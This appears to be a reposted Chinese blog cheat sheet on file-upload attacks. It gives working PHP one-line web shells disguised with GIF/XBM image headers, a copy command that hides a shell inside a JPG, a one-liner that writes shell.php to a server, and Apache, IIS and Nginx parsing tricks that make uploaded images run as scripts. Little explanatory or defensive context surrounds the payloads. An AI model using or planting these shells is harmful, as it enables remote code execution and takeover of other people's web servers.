文件上传概要
变形的一句话木马
GIF89a
#define width 1337
#define height 1337
#只支持php5
<script language="php">@eval($_POST[cmd]);phpinfo();</script>
php7适用
GIF89a
#define width 1337
#define height 1337
<?=@eval($_POST[CMD]);
制作图片马的方法
准备一个一句话木马1.php和一个正常的图片2.jpg放到同一个文件夹
copy 1.jpg/b+1.php/a 2.jpg
写马 <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>')?>
解析漏洞
- Apache解析漏洞
apache1.x 2.x中，文件名的解析具有以下特性，Phpshell.php.rar 因为apache不认识.rar文件类型，所以会一直遍历后缀到.php ，认为这是一个php文件
- IIS解析漏洞
1.当文件名为abc.asp;xx.jpg时，IIS6会将文件解析为abc.asp;与0x00截断文件名类似，只是截断符变成了 ";"
2.IIS5.x/IIS6 目录解析：在网站下建立文件夹名称中带有.asp .asa等可执行脚本文件后缀作为后缀的文件夹，其目录内任何拓展名的文件都会被IIS当成可执行文件解析并执行
http://www.xx.com/1.aps/a.jpg
文件解析：IIS6.0以下，分号后面的不被解析，即是说1.asp;.jpg会被当成1.asp解析
- (Nginx漏洞)PHP CGI解析漏洞
IIS7.0/IIS7.5/Nginx<0.8.3
在fast-cgi开启状态下，xx.jpg会被当成php执行 http://www.xx.com/xx.jpg/.php
对于任意文件名，在后面加上 /任意文件名.php 后该文件就会以php格式进行解析。示例：tx.jpg/.php它将当做php进行解析。
标签：文件,asp,解析,jpg,xx,php,上传 来源： https://www.cnblogs.com/ykxykx/p/16573065.html
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。